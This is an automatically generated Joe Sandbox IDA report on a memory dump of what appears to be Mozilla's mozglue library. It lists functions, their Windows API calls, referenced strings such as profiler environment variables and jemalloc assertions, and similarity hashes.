GTC, xrefs: 6C953912
GenuntelineI, xrefs: 6C953639
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB
v_s, xrefs: 6C95378A, 6C9537A3, 6C9537D7, 6C9537ED
QPC, xrefs: 6C9538FC
AuthcAMDenti, xrefs: 6C953946

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$v_s
API String ID: 301339242-977122358
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6C965440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C965492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9654BE
__Init_thread_footer.LIBCMT ref: 6C9654DB

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C965516
GetCurrentThreadId.KERNEL32 ref: 6C96556A
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965577
moz_xmalloc.MOZGLUE(00000070), ref: 6C965585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C965590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9655E6
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C965616

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetCurrentThreadId.KERNEL32 ref: 6C96563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C965646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C96567C
free.MOZGLUE(?), ref: 6C9656AE

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9656E8
GetCurrentThreadId.KERNEL32 ref: 6C965707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C96570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C965729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C96574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C96576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C965796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9657CA

Strings

MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9657AE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9654A3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C965D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C965B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C96548D
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C965D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9657C5
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C965724
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C965D01
[I %d/%d] profiler_init, xrefs: 6C96564E
MOZ_PROFILER_STARTUP, xrefs: 6C9655E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C96584E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C965791
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C965717
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C965766
MOZ_BASE_PROFILER_HELP, xrefs: 6C965511
GeckoMain, xrefs: 6C965554, 6C9655D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C965749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C965AC9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C965CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C965C56
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9654B9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9656E3
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C965D24
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C965BBE

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction ID: dbcd13adabc6b76950f29d284a6a10ca0b35203b47f4cfe3f91f28bc11d472e7
Opcode Fuzzy Hash: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction Fuzzy Hash: 0D222871908B009FFB009F76C45865A77B5AF9634CF554629E84AA7F82EB30E484CB53

Function 6C99B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99B845
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99B852
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99B884
InitializeConditionVariable.KERNEL32(?), ref: 6C99B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C99B9FD
GetCurrentThreadId.KERNEL32 ref: 6C99BA05
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C99BA27
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99BA4B
free.MOZGLUE(?), ref: 6C99C9C7
free.MOZGLUE(?), ref: 6C99C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C99C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C99C7DA

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction ID: 33595b7736bef566392ee73db2a2ff1ddd88cb8ff5169e84838847bee9862f62
Opcode Fuzzy Hash: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction Fuzzy Hash: 9BA28D71A087808FD725CF28C88079BB7F5BFD9318F144A2DE899A7750DB70E9458B92

Function 6C966C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C966CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C966D26

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C966D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C966D73
free.MOZGLUE(00000000), ref: 6C966D80
CertGetNameStringW.CRYPT32 ref: 6C966DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C966DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C966DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C966E10
CryptMsgClose.CRYPT32(00000000), ref: 6C966E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C966E34
CreateFileW.KERNEL32 ref: 6C966EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C966F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C96709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C967103
free.MOZGLUE(00000000), ref: 6C967153
CloseHandle.KERNEL32(?), ref: 6C967176
__Init_thread_footer.LIBCMT ref: 6C967209
__Init_thread_footer.LIBCMT ref: 6C96723A
__Init_thread_footer.LIBCMT ref: 6C96726B
__Init_thread_footer.LIBCMT ref: 6C96729C
__Init_thread_footer.LIBCMT ref: 6C9672DC
__Init_thread_footer.LIBCMT ref: 6C96730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9673C2
VerSetConditionMask.NTDLL ref: 6C9673F3
VerSetConditionMask.NTDLL ref: 6C9673FF
VerSetConditionMask.NTDLL ref: 6C967406
VerSetConditionMask.NTDLL ref: 6C96740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C96741A
moz_xmalloc.MOZGLUE(?), ref: 6C96755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C967568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C967585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C967598
free.MOZGLUE(00000000), ref: 6C9675AC

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

(, xrefs: 6C96768A
SHA256, xrefs: 6C966EC0
wintrust.dll, xrefs: 6C9672CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C9672C8

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction ID: 1af148cfaa595b17f45e2f4d97572ae5f9a3a2cedea4a4921c9536d7c3c72a20
Opcode Fuzzy Hash: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction Fuzzy Hash: CB52D3B1A046149BFB21DF25CC85BAA77BCEF55708F104199E909A7A80DB70EBC4CF91

Function 6C986FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987019
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987061
EnterCriticalSection.KERNEL32(?), ref: 6C9871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C98721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C98723E
EnterCriticalSection.KERNEL32(?), ref: 6C98726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C98733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C98961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C989622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C989642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896DB
AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C989747
GetSystemInfo.KERNEL32(?), ref: 6C989792
__Init_thread_footer.LIBCMT ref: 6C9897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C9897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C989838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C989874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C989895

Strings

MOZ_CRASH(), xrefs: 6C989B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9899BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C989933, 6C989A33, 6C989A4E
<jemalloc>, xrefs: 6C989B33, 6C989BE3
Compile-time page size does not divide the runtime one., xrefs: 6C989B38
: (malloc) Unsupported character in malloc options: ', xrefs: 6C989BF4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9899D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9899A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C989993
MALLOC_OPTIONS, xrefs: 6C9897CA

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction ID: 4cfab2d6bf7420a4ecdf927842537904bdaab14e5361d5b89ce12db4493a5c79
Opcode Fuzzy Hash: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction Fuzzy Hash: A253B171A067018FD704CF28C580715FBE5BF85728F2ACAADE8699B791D371E841CB91

Function 6C990DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C990F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C990F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C990FB7
EnterCriticalSection.KERNEL32(?), ref: 6C990FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C991031
LeaveCriticalSection.KERNEL32(?), ref: 6C9910D0
EnterCriticalSection.KERNEL32(?), ref: 6C99117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C991C39
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C993391
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C993431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993437

Strings

MOZ_CRASH(), xrefs: 6C993950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9937BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C993559, 6C99382D, 6C993848
<jemalloc>, xrefs: 6C993941, 6C9939F1
Compile-time page size does not divide the runtime one., xrefs: 6C993946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C993A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9937A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C993793
MALLOC_OPTIONS, xrefs: 6C9935FE

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

